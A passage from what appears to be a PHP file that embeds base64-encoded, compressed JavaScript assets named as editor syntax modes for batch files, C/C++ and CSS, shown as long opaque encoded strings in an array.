RgR/BPLjgdAiIQC6G+10igiEC+Z8VYDVEMEbihQGmsMfVTwyCeCNToIoQxAo8ZE4GC2BBvOQ/QDSnHBPqyojcPWE2Qix86qWIHVpYuCsKPhNQJ07y53NUQVcf97SnsMcO+6i6bAl61VE2U295gjJoTKkKV7AyY8n3i3vmxId+nFmbA93HRXsP3OToZo0X2kYcyakvnQ5B9AvMMnqBTJOMWRkqYPj1T1Y/SddWe3YbpU+Tb9jRfW9Puv2m+J6L52DqaqGi+nuApyxoM9H9O80mdYwx7REJMEJBGFd6E5suekTWSbYCP9CRvgHR0em8FenQUGOCfLR2hDYd0SvNTUnxsdXpqio8ddy3FR5Khp3ykjpepwfARkF8n8hHpPSy/umvXpve4fZuS3mPb/lX0HrGiht6r5wsMfCLLx56Rb6XcXjuPzJp41Ob2xN3qub3O/hbc3hNgjZMhhTWGr53T+3ebYo3J+fkbiDWOTyYnx7eff/3d0+P2NsIM/5oBP3CtF+gFacTp++jRzZdrUejgTEkW0TxBr9ulo7YLN2yVlwNQ76ZpNVuSNwfit/MIA5XRdlSTU9gAyhgNieIcoiIAyanWCjrJ2ujh6gGPeVtttH1tG5ohLVk1ZthdvFnWN4W87kgyqfTrk/J/t4/ffZK/0UhwlvxDaPoC/UZNdOKHPM74KC5t0WEiS99U0kEgSAjrBO02BXASlTQ7juO0kjn0AktOFOw4PlS841uhW8CaV9JE0/06Xqvw4ryyyrgV2k1RiUKUtO4rYE2XTSbNWRduiExfoqzwMAxFnYmovuNa0VhEcFVKxwY5o9BtuLczTTmt3RGiSeTvnRE6SnsrhAuylvBtdtBYi+kgau4LkKVEd8qllKqirYrkI9oP1Np5gdtQvw8iVcLVynxgZtc2ZK9T60sdVlbHuM1IXWgfrjEGS9kWCFNjqUkqHKZp6SnuxApfUxxPRu6L9t5eI//jNPdfcu+C5FrDHQf5z2m2mffR7IAR+piu5Ru8ckcpRv72Hb0CQv5vD8xOpfLmo7XgxXs2ojbwA0zoUUTJu+60VDKrhUqlSCP9pk+tFVyo/hV9QKsWvbBsG1yriwmQPM21/OFAR+2OZxNUIn8A4cAxff5ABHoM2HizfUZlWdQulUwO1QntaQp9SupWoF7IoJZRggoCuWcsZPA2CRwJv0rppMDS1mq35WB//AcotzRW'; $base64_files['mode-batchfile.js'] = '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'; $base64_files['mode-c_cpp.js'] = 'eJy1Wntz2ziS//8+hcLx2IREU87s1e2NHEaXZJLbqU1mtvKoS62oqCgSlBhTpAKCfoyh++z3a4AvvZxk91a2JBLobnQ3+gkq4nGScdsKQj5c5REfRnk4C/PVimdytkwWyxRvORNlygvLmViCfykTwS3H4rfrXEgMWsDDNC6ISJrMh3m+ru40Sclv92lNnbjMQpnkmc0d6WTs3ioL3iukSEJpXV4Hoic8MOa6DUnmJHrkMEHmvsfwX+rRtzToFF6zCruXy6RwTzS0d1/IQMjR5F7mVzwbWZXILsR3ZbCwHMEX/HZk/dfE9298P5pNB9bGKdwFl++DBRG3mXMf8TgoU/l+j4blhEHBf80KnhWJTK756NHFZrrZXAo3yZZcJLKwCydhWxRbXjm7F1yWIjvCnlvIXAQL7sq7NW949f25PR69//2X39WrXz++eak+fvyo/vLsxV8ZZqxNxf47Evzbl+tQH/p+3x57+GSWk0HZI14TfZlF/xDJPqh2aEn3lzx8YSC3d9IrNsyJdo0Vprpe/3+Z6YOW/y+05ofWZUcVAtP+Tl/IPemGryo2C68yl+XdOpf4jlXKxqrAVREGWazuCslXKluLJJOxCgNMYDQllKwBT5tLxlRSTS2bafO5oMEgVfNEAkoKWgJvKdQ6YyoLcb2+U4FUqzVTdFesM7UUKk9T1U7IHDPJKrhVkSpxmdIb1DHC1BUthYFIs6K4EDmozwXGZbLiKuWZEiFo3sZixVQlFCe5P6/W6npeAj8Pg5QrXDL1RbQquWlUYtCYEkEWgXGMc5JMzO8w3sDf0qXMbwIRNWNBLLnoqCpo9WYkJtkO6a7DCCDzogZpAKCRRYMjtYq4Ib9Diqm8Wmh3jexzM7C+K5JFh7c1LvObZlrkn9s5kj1JW7HX7RSN0mrhlVp0EAKBjYHwxMdBaTsCdkblIXFUiv1SopV9XrQrCR60jM27Kqw1RNyV6zUX2PYbLthBlSlRauuszDhYrYLmbkXiZsFKxUnKK+PXzrNGoNC2kYsVjD6AiYeZFKlKYEFRskikNt8sFxEXPFLEhFE0eaYiE2MgmiWSG9PTBIkNTYUCPqvpaAF2ULU8SsuflSu1XgZMLUSwXqpbgzVPg+yq2iMC5QXxjXgJbhfQHCyVNLVLgWACY8Ualqx6vWS7VPPFvNVRcEs+mVyrYF4w4hq31yrWPsnU7OUtCZEttB+G6ibcM7iSZgot/TIQ5IzNZe3llU+SNYqY6OzsIbGAZYjwT90ptXrcmAW55HW9gdrV27jX+P1+IGgCSbwzcwh0P4wEMxqibAzDR6DjWaQCsQDslwIpy1AliQiJ5JPrvFD8CgBhmhdcSY4Ima8R26Jk1fowoaRBUSTxXaNAs7wKgdtR2DJPI34b8rVUhd4EGsyulR6K02AB6LykYBem5L0GVHKkBnOZxzDCCGbBgUWmESQFr+awObCbB8nC0NOyWHZ0k0S81iFqJE4GlTeBk8yodUdei0Za6YhHi2mlIA5GW2FpVUdZQyHvxGdzpY2lNQmdUQjnWvEuHQoe2YISR6i9RKcYHubZNdPxjgyrAVcXLeK2Ac47i5FoZj3jLVqZ3axC+uokkAent0NV1/TqXPMvzb9qBW/fy75klSAqcz1r8rCmOQc8BKKJxqFWnPYKNmlcXxAfxMQqv6ZgG9RicPIdvcahfMKOJZQqPSUV1yY7UTDayQI/7dKbazODczKz03w3PpEfdGPUyoS6h7ZLeyIyCcxV57SbBHGAxIes6kuZt0aKie0qghAjBZdjFWtw0nAJtVIo1SSiuF3mAZWqK61Ew8DcrgsSaIRoFbQ7+GL6rtnO+obhRQ2GU3abLSp5uWfNkVGuFDVD2IxMJlnJVdU1qShXPMVEjDC+yGWukljN/oa+ZhUo0zyo4iaRkOhmiSwLKnQN3xYB2h9UkndKLkV+o0qUE2jZpGcFxUrNZviczVRQguQ8z1M1e06fIfZEzVBMr1MOK87LOWhySnFxmsPKZ7+ilkqyAGSxV4g82UIVS4rEVBQhVaOaL5FnKQVDBGQuSIrPavY6TyKlAy8sAEvNKFJiLURHvfTj/8AIXfzpp5lEz+OhJcoKCcNDVoVG+SJBXEVC46ZrwHKBTELQBQkSP8lSdD/kItdEcy1yyUNJJQQkAWAsEkohCFW4w9ZdJ0JSUjcdkFqVMiCJiX1tbnp5TAqV8RtsSsolmQCkCQrzjfAe8TAlDJXldfhfYkujmS6X0clB55S3smjGv1CJT3f4wv6EpGngSXrTLMZyQRdEEMq6xcCtGdG8zGAmsIo7cJeE5kZwbAUXa5iDGTBKqa6TPzhYJGF0lWShJ7J++/D6NUwDZhYHZFzv3354qV49e/3upcrKNF1LQYZqjgKu+N0N6rDC3Ia6+PmrGXsTUHFl31sVjEvWK/LUGnHH2uq+R7IdQIOYxAkX1ihzGszaYK2RcCy4RULb4KJeWpTAsUYWrY4OU+sgQIvcThUbx0JKhN9oqswJPGsSnP/x7Pzvvn8y88uLi+DxuV/GeE2biWh/rq8dNPbQwsNzJ2fW2PeDeZwJeT1Vk4vzP0/vHzt/2qhbEImfnb/yo+n9TxtVdm7/ffOhc/efG+WyoVvkpQi5k3rWj9ZgaPvRwD9h43p8MJz8cOGf9wZn035nzLkczaYdINs+HwOTKb9vrohGl4rtu0dgtqCWS7VEX4DU+llJ9Yf6ol6r66W6TtW1WuI/3aY5mXyy/Ol04EMDUZKXtx9/+f0Dfxm/Wvx38OxF+A5p8MdpI+PlN5weNQcbw+FJdaphaUhr4xwHbSARxFL+Gj5eNfzASrZObGwrysNzQ5EdpWgOamqqYUOrhqfwkrUnXGcwCGsQDyxs6PhsD841y1XQZ9aZQy7If4PTjawvX2pierHJ4SXAjl/0T4YVRw1SVyk7pu9yFCzt0Vb87aDpngAIii376uRsd2O2D/Fq3qZfUcRb6NneUoYIbt49oI0tPnyfWd/PSCM7khZHjmj28GJy+3EKN/7ZOOh0YL+GF3x4rcpUleqDekUFTKpe0wCNv2ZjfST4dcqTwfkUsNEAVoJ/33dx02djiiL85bSZJlf83kWrANms9QOZiS48wrREI5CsdOJam4pAJz9zAoikiwtTdBgdRolALkyu+TeQxz6g0ND/lMZ1CcJTfd+Q7Ww+umxw4daljfvi55/dRj95A1g2GjNheHZSB2RsC276+5y1maF2lPNz5Q/8gXryxFNPn9IbH0+eqtNT5eNP+eORmvR/9IcD//zU/6T+99GTp97UGw9b2mvisww0q7v0YbJj5fsjvB28L/F2O2yt0eJlbqq/WgOY2PfTPSCxA+T7U7bpgtGxZGfZYgBDdqpYdDxubh0IH3OMJqJNnb2QeZQ0YlATgA4F2mNoLdJXmWlssMtE5Va5XHLhroCXkB13uBoecMJj0G7/AfiutvtP3MH46fEUdAjvjPAm1rR2dNgGU+TmyJI+7S/rjzG9F7W+zszk7ADRs5bo2fT7OB1OPgF3OB3s7A0ipU7SfDXn+nFEYSeOTpmWM0k6jynsCoNNmcHI9GEdykmDxbae05ROATBXP2vYeShRHnoosaI2BSY2mwuMzfJSRtqivuGphEBO49/zMMEgMPctfTtJtwHbXNq7z77CJQ+vfjf8eN016oc1w0/w1JOhS0c8Nke5hPu+v6kGJBs9elzpmJqrw5SIvczjpG5yMWCBr8zVWrGHn2xNkQ3ZZRLbjxJmFu5daLEKL5k8nrpoKhdy6eSgAt2iFjcKfQ59XqHlvkfPh6o7zNNylaFGNqRypXIXM54nt4nW1T4Y+jUjhu2WOY3B2CV3BUerFnIbvVBP2NK5gOaL88fMKVklckvgwGOuHm8khIBDNrmYbjbMRY+U2olLvVquj25hSF1xeK3D5JAlxXkaAXAYFvKObOS7n2sZ83D2KdL3jEa+x9gOPLzSg9tGWD2Xaldg7itcv8GlfgRV32wpkZ+e2lrJFYO65H0TiCsuPNqRt3zx8nZ9DKQq0Zs9HPpq8klN+2NEb0tZA25qN1Z5e0MgX39tiRri6ytwOs/cDhw5BY5dHzwg4NCe+Pf+xLenDJFt4099Nu2fKDIkG7V8nw2P8T38BARCtqd9EDGoTH2a+IXfxxDS6bDGbrPec/TuV1Xqe8u9YbsQEgwwTLGukWAF65QTs0eR6G8fUSscKoXkW9AKH0P2w1joKX9egc/gW2QY/5NEuHoeFNw47dawsz/k7RpvZa+Ng2c6ODyoABPcBDs9fbTP+u7kMYXUcFXosYznJN4R6Sp2Lw30o+T09PjS4ypbjZLNAQ1op9tRgyOMIpIjithfJakZ79UrNJIRmJYVtBPiuQrUVbw7YtR6tcKwkXuFS2eXt3oMAX5rLTqrb4N7vRKBQZCcVSGcd3gi4bXYNgAGBUJtnTEe1xrtldiw0k2KN1REaQVgC20xLhu7ese1xgwhDsFG8pFnIV5bACw9OixCwCg3pDXP86wV5JpDG5lVsf+gImoXPaiHLs81wyTw2GTpNC8eUMjoqCocpKtNayNdAb+eoxEEXXN+jOD2bsgQxyXidVazKQfe4zqdOkGFq6dsdqnPZ+3BQD4J2P02YY0T7xAnpcRQKhiuT4VpSDyNmT4w1kjpgRBQ75beJ0hCWCm7p09j1pTPn3hFRUaPbxkBk15KsZrgLqn169G6nlctvIF0m2pHKCkkdgG9lk4rUckqjbBW0/u+ciQuyVYLFCpJyVuKJIU7ZRUuUS/XAVOdnyNm2pRjOpEzwI7Ums+ewMjktr8bzZcuv+WhbXT1KG4VHpPFBefno2Aw0HNBpQOj/Exr72nOttSRO8JJUcTUOtiYEifvlDhHf6jzz/x+rHt/5Fc/X6/AD9dEc74MrhPk96bOOlqB/bM/WkMtpOugqkY6LAg71GpQMUwoR0RjB6tKmNKhNiEwpPbkZu4LffG8nnDitpbraKFT0KV7v6/b/dlWVTtXjOpKK6/GGgb0aLBV5BhsGo+3aqqUfjS3u2batvI6BXn6VFVPzTtZuj62tYZ9y4Evjaz+0Gq9+DdsELnOXo2/5cE7rYTubmoK+kwAXaSwWe2HeqhAP8HJ2RNXN7a0m4mrjw51eqi86fS0mNTX52iDyJs8rzliqB1REA5NVE3sfRWVmwbE7euS0J9MTZS5LCn1DbyMbeqIR+ids2QKoHlLcauG6VI2VdyY+f2KaokYYohbPZg6ffdxUYdQUWn3aONJiu0WA7WdbGHYBPaVvpMIbVPoQHYJnCSRtxuXqiCW7vRp1KSk6C57O69OX927/7fdWXrRM9z8xq2CnT3ZXXDq9Boaq2NE6JXEPZv4yeOeiZI9z+tZ+fwzcrvVOz3tVZNVMN2dNTgPLUAvA+U2NHqry6Pwm4MzUNLe+IbZO6P/B+AJnkM='; $base64_files['mode-css.js'] = 'eJzFXG2T27iR/n6/Ysx1bHKG0swkVUmdJsrcrrN72bpsklr7kqqMZBdFQhJ3KFJLkKORh/rv93Q3QIJ6GdubVJ13TTZAoNFo9CsAOVHzNFe+F8XqclUk6jLW+sMyXSwz/K0+lHWmtBfeeaX6uU5L5YWeelwXZYVKD+3xGQB1ztLZZVGsnVIW5QtTZMyVeqwOUE/DeZ3HVVrkvgqrMA+evFqrM12VaVx5Nw9ReVaOQd9w2I4QhKlTw6MEoeaq42MEw3eo/pOt/ZEqw2JcDXW9prm8267V2IvwMR/ERV6pvGqklFZqpQ2sVTYHmDVRnq4ioriDBonKoq1bBq/i/TZ1ud9tnmbZgJjj1GFMaQdaaqKk/ZJHK7fhGkMOdBVVbmWVrtJ8MbBMbWZRfD/HEgweUp3O0iyttly3KIE8ccBBVFVRvFzR5J3aWabwZBKd2jhL171ykRWlWwFyFr0eRZku0tytWRc6bUk0daVaq6g3vk4/Ak9RJqo0r8GsqKpi1S9ZCnp1mZpXgzJK0lrvfSlJDo5/0tU2U3t1mzSplrYOI2XRWiun3I1s5u0UBkVdaVX16+w83TqdpfFeV13U5X5djxaaoQv3ieGa3ny4poehzwPmS6/QxyhVPZRS1cOp11EMIWyLbvOqWDtgHztVHFkzqj62YFS/j7tPiC0YeXkc6GWUFBsB049EYxytWW90CgmPMxWVDQu3EIZnvbKKaAqksxZeRGsLkqlx4UEPA9cIsW6NEGhqwLbcwu4H3VijxHSQJORxqVZuTalIxuK61BizMz5JqslKNGq1rraDWGWZbkA/ejTzTD3yYzCLdKoF7HpycZ6BWQxBGw2kl2Wa3wu8KTF/NIIoz0EiPwbzaJVmW4FZe1toECU/1do0g4VXVby0BeIMg7D4aWRxbRQL5BI2nqzamqxaLUZ0KZ8IYTrftnabNSJTVeXIYQYPNzDts1Tb4TrQqK1T0Ronp66Cm2hWUUl2TF7WFJkSj21g0SRTIKFfRY+WBgJlgQn6WBAGtLJfU7v8BPHXPHoYQG5zBtI8wcoRxOMRIIMRVK+bgmYNKy82E9aHpm/fRiptqZjPSW5sUfhiS0JE8aBKlgMLDB47cNusoyQhHpu35YgtMom2IGTaEjFlTRZtVqrofhDNSSqdipmaF6Vya9KctXStSr0mMX3owdbFtEv3c11USjdQDZJCGbyKZiKUALCk0A3MtqGoYcBe3gHxUZtPiYoL47v3yoaf+7XM8v1K4S7X0hrmBrmRYCm03OaSMVcMV2WUa3Bk1RDjnJKF7Py7CjMglYUjHWgCFrfCRidO3boswOCq124/wKjzNEZ0MJilSdogdCspUMKKCMziizlVaRxlhsVOJLJZItphPVWNiNsGYivLLaDVYS6wvfkoGuCFdRfBfWeoGXvlYtbgb9TUJSK1qiqtibRvBK5R1/FNkSOCyiuEfzMNa0uxFAniQCULA1LMN9BxWVDox3/Xy2imMCOAm2iL+DCvUkwt0ippohJ2GQasieqqaKKHIuXoCGbcFEieBUSYg+CV/Dt6ssSIyMvYRvxniqSBmMuyUZICzLIivh+4Vo1r4NayhB9urPRI/s91go3RN0xFIGIt+cG0wiSgGgC1RWzcYxMr4SFeZQT3tyQ/mZYx+bOfoJmJKhZYnCWYEmdFTq600GrAKkhubGC0sA2eDE9gtkmnITTLdF6Jp4vS3Ho8pj+miTdYAA19SAHVszSGefiYojqJ9BJsh5rBhmewNxEbl4+qLGwl3vOoziryhqT1CQExPUq1iEjGZGxUIOuYQQaIOczfXqV4FbdGBLeraBJwmfAXNcZplJ21wgJDau2bQkKBLdDAM6drcsOIthv1GGc1VKqsZ9uGw415+gi0C1XAnUC2Ftl2vdTNAtJgFwoOGmwiT5lYdwkXiQXe4JWtm2WawOTgVUaLKI8GaVkso7bYLGE8PhLvswbqnDftgg5Y3J1yXq8UcjOnZh2VWKqlIvK7WuGNKxhpHonRRvjSzS/Nl8BX4Z2SFuHNgi0SbQuQAgO6Um+q2JSbAl7k0IynSCVasjSYMst7mpNValjmYxtFNPdRFd137LHF5l6pNWsM+wSJMYgEiAOTwBorxCyRtyyWXOBHVEoMQalkg0lhilkB3cBzA2KEvQIvSqXuDZzBGOcGLotVZOCYhCVDqDtrMtg2JH1LRZkfod2LMFjyVgoRM8ILldd4aM3OFNxcQRzAtBXJTG7FNFcdtMH6wfY3eTGISZ4UQ45So5jAPdAbTiLvak1uk5MVyOGGQFlekE+lCSSA2YrnGztWMcvSn2u8OywmZaIXLSPpP/OzCzIeOS6Ar+clbdalSAYDjH9dcgE+CJHBbxLAkAEwAOEAsRbTFjoRzRhgawB6ZZDdpOGgemCiB1phiSEkc0ZAbGdQVlmjbcF4Ct3yUisoCCXpkuDpFRkXsrEdyCYW7gc+QdRG/1xDqRq4JsgopfiQUXrVGtF6CRDiSJaCAdtKEUoTVcv+SaPrGf7SOuqWWol87KimBPtjQZPZYJbrXpUpzIuiYlntvi9hdPeqiDt7ZYGaajaAZ5Ywq/O0XHbdn1SI05JYiGnnSIjiHwBNBatyT08TtIghQkSSGHmBj29VTGBRK4FFrRhmtULAQn4+XVddxOLar7aSB+coBvNp+bqJYMU4oJE1NHFKw66I4iAvnB8GHm8ofuTNp1jNslpxMAF1YERNBDngBxIJmlD0seaYIKUAIdWkNjPI6j098xiOMMpWBW3rZPylVg9pkdHmQ0nZwwwx0XZTFOTtE1VxI/LkkJmaXPKywEpH7LDZyRdlPmerIy1R1Gl2D0+crjTFBFuwL4nKe/5MQFuzoCAkLzESl0qEmgIolVtIqu6X0X3KEKVgcEAMQxUeVNca5JAFEjCGK2OwVPLWPGkBVdT10jSXljYutZSYkiGiqksYnlRLS8OzBDZ/TakuAfp+K5jSleCgN/UuIKzCnzly51lJEgmmgX+ygiTRuhKi5nW81GnULBDhaARoRbNYFrqShsSypuMbjyLd+LlVZD8bHnQJ07pNyLMXFVMIQUNYQPwgaFE06UNRwpsxb7PoQZFGtACo1XBQ0SYX/JkC+8DV+ZzzXZg4ng9DIgkC0uIy1FJpiJJKIthAjNWAppLpZMgsl8B2vaRkmCyFdr3cokUHa6eyrnFLyErxwyLNFaXqIldQoQLjikd0dEoqGJeARsSksK7LdWa/tOSaYitgprwGwoXbohMsKYto0ULBAectq5FRVTFicdoHQNJWUniwKmJYpZRz/uinQoQEMBL7LCH/1LCSyDMpo1ljtEReNIaZyDrKVCdYXGISCeoIpFJHHpx/tI0wKDypiuLlup7PKdmuG17INRwCnO8mMbJvuAQFUKC6LZGX1FsxPmWxjWTFdESxh9QaYdAIW027lscAENqTK01VjhgMtofyACskHfM7SemERCPMaNz16AQGVhfuA1INx6Er8kjwA8jVOlYYA7BZUjQgjBe7viruVWNkTV6M3AuzQ8P+HaJpDcNeUlBLeVMNjYyLFWVIRV1S7kLbdbSEczSPNNQdcQKbbxPoU+T+QIkm4u8VfAqCzjpOE7Biu0Kah5emoLKKlphBg8Qc+QpWbwYzA/KRf66BAzxLKITdqBnFTpp4rZGjl+m8kSeGLNhleWGMeSDA/1GNvclkcOvfjvD/3dXgP6cXACaTocDBbdD0yoEXLtEViV2dFN9mvDeJyfuTyegimExmvmTSJqeFpURAbNIpU2BNLD6azQOOhyxECLxw3eJ/gyBcK0I/EtySVWDS8b0kd5Ll8aYnEiopyThQiMzCxVy29OZFXGvYUpIuctmgCgpJfhBJQkRBGUX9piuDtmdGuoDgtkH6Y74T5DRvi7YLVVi4yLOtacegrTdnbaQ9BW1ZlQssp1BCUQcyTGFJMm7PzoInOilTY5LpIZmSSv2P2lKm80NEAY7/5Bn5HNo+3qgO28rYSK03irpKIsYbFYethrzr5Y3mRz7Rvq32Rtku9ChO8sIXV8ENk/WST+PGTxyvju6eTBo4uvMoWoVoeqGHCAVPqAlLkDfdhU8VlC4feRzcDTN+eSEyd/U4gpA+eWGOYUYeI1eVt9+j3O+xc5rIwO3H//JvXzykakMzCixistyR0+de+Np2+uouGnyEGgw+TC+eafYr5xvvcc/o6LSlangcyx6Bo+OtWuab5Ny2jw+btKj2MFEE/D1yZ97me1CjF1e7achT/7evFK//56zTifZ7PLk51W5/BWCxeEKNkVmN6C2u5RgFUTDvG6zoQ0MHrRLEn+rA2SefeWCUeUntGys57aGMc6oxh0YidB9Ai2s01Rv4NvhnGgjcQ9APKyLbr9QJfokTvm0mxzqgDkYOGM3hSOBhcSzrsT7tGnONw8PLyeQcphPx3nOtztHQMnFdrImFZsvsXb/LbopxjaIBoUEw8OFb7pH8rDSZ8KYIBl5oBmMT4Cx1d4AzpK1l+N2yk8jRzfSXiMUXSefdEWVpJWXaiop3EV94gY9MOl4hAVjAmTR0XlY2C47Nk+ZPH+Eemnu8Viua+TpukDiuHxv6WKK5pogibx6WzcMqesQDzR9WzcOm+VXwy3R3vwmbnjl54Kff7j4DpdP+N077O3dZ6IIHMtBqOyyqpSqHtIUum50kq8YDD5S4+GGsdcu05b+CMCaf3kO3dlaWl7NFrzphGNySGft68M8PUwNgdh9QPz0/adSAq1OGA6foGAs09Ee3g3Wp5uljcAvlX9HWNDdYwwP7+5p1EtlkEjyrX8aisXoZGXawcsVQxN1ifH0wtrRCgte1aV7ujdryU2lE6Uofkxm6T1PDug2ljcUGS/LyMqRWkKk/I1r7Nk+In6enEj43gdfe609O4LXXvHz9/ziBaWhGcW3nJwfxSce+Hnw3SaZP1+Fvd83d+7YiuCS+cDAkO6PpR8W3kfxgd1MOzVa49pNQB2E1fKN1/9LSONkFYbJ/YwvZC4LIfPFhBi+hPhR1lbB9/4xLW5wqfskdLOkQDH+kd5i6AejuxndKEohSSP5XoWfsjhHAd5B1vHw/0RcvL4fIrSpfBbdUPp/sTEUVjF5cG37RcdpxTERePlZDBMm0rOgFuvIhc8W/fO8zxuAyuEnn/os0kIHPrnhaepzeXU+HmcoX1TIsgAW8RcgsDP0G/LxXlf+ExHRUhbINOtI7QVU0TTHEl/G46iOtJQp/CYK+53NevyOOewTBjRqaXWY/V5uz0q/CK3BeD66DsA7MlDsEzowt585UO0NM8DK4u5rudsEwjrLMT4frsqgKCt9JjNzpKMvD9Jgk0d0/+Ewk7zTYp+79fZbYPHV3uUZP3lcvr7wRltTbvzvmtR9DZysXJT752u/C1zWoC5no15cvr14HB2hlMx+NBAAqz+74e05hy4X22IJKRg33Edp7BUAp+9KjX4dyLAqAjoTw4gMCvJF642kR/bqPqLtoB1RyXHBqorSxjEZ8Aoo25nT0gINZuiZudGe+PCnntITLzpnqAbfk7sAvQCLN0Y+PL85kCT05lW1LfCpqS50MOPfnvJ5wOPfGiEWEGewUpAQwPgCeHLR6AOX8E4AcdLrcD/lMEG86ksJLTpd4tZIF4enRwsfTzHMBQbI9wZH58tI/rR/xQa1oQr9iqvnu2OiJBeHaCMI1NV/ixSNTI5prJ+p0W8EHfAXtvxIRlitcaGK8EjUzp1yA6LyOVIR84nVIJw540fkutTInXCzP5lBChFu5pV5B90u9wsYt9Qq5U9qF5o7Z6EkmGfLJLasRbepQe/dIlxF0h06y4M71NFrvJcztNS0k88zjC2beAWstTz3n1hlafU0bbiQbb2iv7ewtjMnZD29JRGhnrkCcKR95C+7sL2ojn7gI6L9l6w3QD3ZbjNoTmsFb2i7zuKgWhTr73++p8I6336j2He3AEcqzH+loiVu+s/txhoi/y3ZcR7hR8QN58pwLcGxysoQnTWGD09voiJxjH2lgMkaPlke+YGnbI0geSc6Mj5DADD9CWf96nYOavnXn8/sfehfpvFZe6DIG2Ta+TULaxmef9EGub7AFOXK9gyXJOSDnsnOy53zng3WnzKeATvu2bG9YdE358NBpasu7UO72HeOPewXw6NI69wWf+w4v8txnMUUnWjx2i3D8M1+3Ov61vYt48vPJzvb+2ujJ2OHr0ByUAqIYjhbYuDzg6u4Uel/aY/uZPYwDOzYT5ybi0Zn27i0+2+KZpXBvQp5o0L8DiUZmEnK9jAC6LoZ33wL2+8re+hd0tvEMepirb/TV3I7oApLQk/sHTGx5wlJ47nVK0GD7Ci1mK9i5C9lpf3tYzyrn3KDx2JWk+X3Xn68PHjoCE4Rdh+YWT9ehvQpJ/ry94Eaj2kN/4ou9V+P4FIrfjsyyf5ERSKndtY0J0KK72nhMOIHBufDIPKC7Ko7VhhNnRtj7LJ4tUDumgTXvGG3ubcme5ZX73ogo2HT55nrw+OXV9ZWJOTznsikFYi+vfr1+PLN/v/rd737nNLMKSA3trTW+UkW0UiRKhJl67jWgY53erw14VofVpIdG1Y5/Fz4/2wQoRNGew9C1kI3LY9T1v+z/BO